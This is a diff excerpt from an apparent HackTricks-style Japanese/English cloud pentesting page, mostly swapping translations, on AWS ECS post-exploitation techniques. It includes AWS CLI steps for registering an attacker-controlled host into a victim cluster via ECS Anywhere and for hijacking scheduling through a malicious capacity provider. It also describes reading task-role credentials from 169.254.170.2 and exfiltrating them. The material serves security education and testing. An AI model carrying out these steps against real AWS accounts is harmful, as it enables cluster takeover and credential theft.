+- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
+
+- Cleanup
+
+
+
+**潜在的な影響:** 攻撃者が管理する EC2 ノードに被害者のタスクが配置されることで、コンテナへの OS レベルのアクセスや task IAM role の資格情報の窃取が可能になります。


 <details>
-<summary>ステップバイステップのコマンド（コピー/貼り付け）</summary>
+<summary>Step-by-step commands (copy/paste)</summary>
 <pre>
 export AWS_DEFAULT_REGION=us-east-1
 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -395,23 +460,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que

 ### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

-ECS Anywhere を悪用して攻撃者が制御するホストを被害クラスタの EXTERNAL container instance として登録し、そのホスト上で特権付きの task と execution ロールを使って tasks を実行します。これにより tasks が実行される場所（自分のマシン）に対する OS レベルの制御が得られ、capacity providers や ASGs に触れずに tasks やアタッチされたボリュームから資格情報やデータを窃取できます。
+ECS Anywhere を悪用して攻撃者が制御するホストを被害者の ECS cluster に EXTERNAL container instance として登録し、そのホスト上で privileged task と execution role を使ってタスクを実行できます。これによりタスクの実行場所を OS レベルで制御（自分のマシン上で実行）でき、capacity providers や ASGs に触れることなくタスクやアタッチされたボリュームからの資格情報／データ窃取が可能になります。

- 必要な権限（例、最小）:
+- Required perms (example minimal):
 - ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
 - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
 - iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
 - logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- Impact: 攻撃者ホスト上で選択した taskRoleArn を使って任意のコンテナを実行；169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI からタスクロールの資格情報を外部へ持ち出す；tasks にマウントされた任意のボリュームへアクセス；capacity providers/ASGs を操作するよりステルス性が高い。
+- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.

 Steps

-1) クラスターを作成/特定する (us-east-1)
+1) Create/identify cluster (us-east-1)
 ```bash
 aws ecs create-cluster --cluster-name ht-ecs-anywhere
 ```
-2) ECS Anywhere ロールと SSM アクティベーションを作成（オンプレ/EXTERNAL インスタンス用）
+2) ECS Anywhere ロールと SSM activation を作成する（on-prem/EXTERNAL instance 用）
 ```bash
 aws iam create-role --role-name ecsAnywhereRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -420,7 +485,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
 ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
 ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
 ```
-3) 攻撃者ホストをプロビジョニングし、EXTERNALとして自動登録する (例: 小さな AL2 EC2 を “on‑prem” として)
+3) 攻撃者ホストをプロビジョニングし、EXTERNAL として自動登録する（例：小さな AL2 EC2 を「on‑prem」として）

 <details>
 <summary>user-data.sh</summary>
@@ -448,7 +513,7 @@ aws ecs describe-container-instances --cluster ht-ecs-anywhere \
 --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
 # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
 ```
-5) task/execution roles を作成し、EXTERNAL task definition を登録して、attacker host 上でそれを実行する
+5) task/execution roles を作成し、EXTERNAL task definition を登録して、それを attacker host 上で実行する
 ```bash
 # roles
 aws iam create-role --role-name ht-ecs-task-exec \
@@ -484,33 +549,33 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
 aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 --container-instances $CI
 ```
-6) ここからタスクを実行しているホストを制御できます。タスクログ（if awslogs）を読み取ったり、ホスト上で直接 exec してタスクから資格情報／データを exfiltrate できます。
+6) ここからタスクを実行しているホストを制御できます。タスクのログを読むことができ（awslogs を使用している場合）、またはホスト上で直接 exec してタスクから認証情報／データを持ち出すことができます。

 #### コマンド例（プレースホルダ）

-### 悪意ある Capacity Provider による ECS スケジューリングの乗っ取り (EC2 ASG takeover)
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-ECS capacity providers を管理し services を更新する権限を持つ攻撃者は、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider に組み込み、ターゲットクラスタに関連付け、被害者のサービスをこのプロバイダに移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルからコンテナを調査したり task role credentials を窃取したりできるようになります。
+攻撃者が ECS capacity providers の管理とサービス更新の権限を持っている場合、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスタに関連付け、被害者のサービスをこのプロバイダに移行させることができます。するとタスクは攻撃者が管理する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを検査したり、task role credentials を盗むことが可能になります。

 Commands (us-east-1):

 - 前提条件

- ECS agent がターゲットクラスタに参加するための Launch Template を作成
+- Create Launch Template for ECS agent to join target cluster

- Auto Scaling Group を作成
+- Create Auto Scaling Group

- ASG から Capacity Provider を作成
+- Create Capacity Provider from the ASG

- Capacity Provider をクラスタに関連付け（オプションでデフォルトに）
+- Associate the Capacity Provider to the cluster (optionally as default)

- サービスをあなたのプロバイダに移行
+- Migrate a service to your provider

- タスクが攻撃者インスタンス上に配置されることを確認
+- Verify tasks land on attacker instances

- 任意: EC2 ノードから docker exec で target コンテナに入り、http://169.254.170.2 を参照して task role credentials を取得
+- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

 - クリーンアップ

-**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者のタスクが配置され、OS レベルでコンテナにアクセスできるようになり、task IAM role credentials の窃取が可能になります。
+**潜在的な影響:** 攻撃者が制御する EC2 ノードに被害者のタスクが配置され、OS レベルでコンテナにアクセスして task IAM role credentials を窃取される可能性があります。
 {{#include ../../../../banners/hacktricks-training.md}}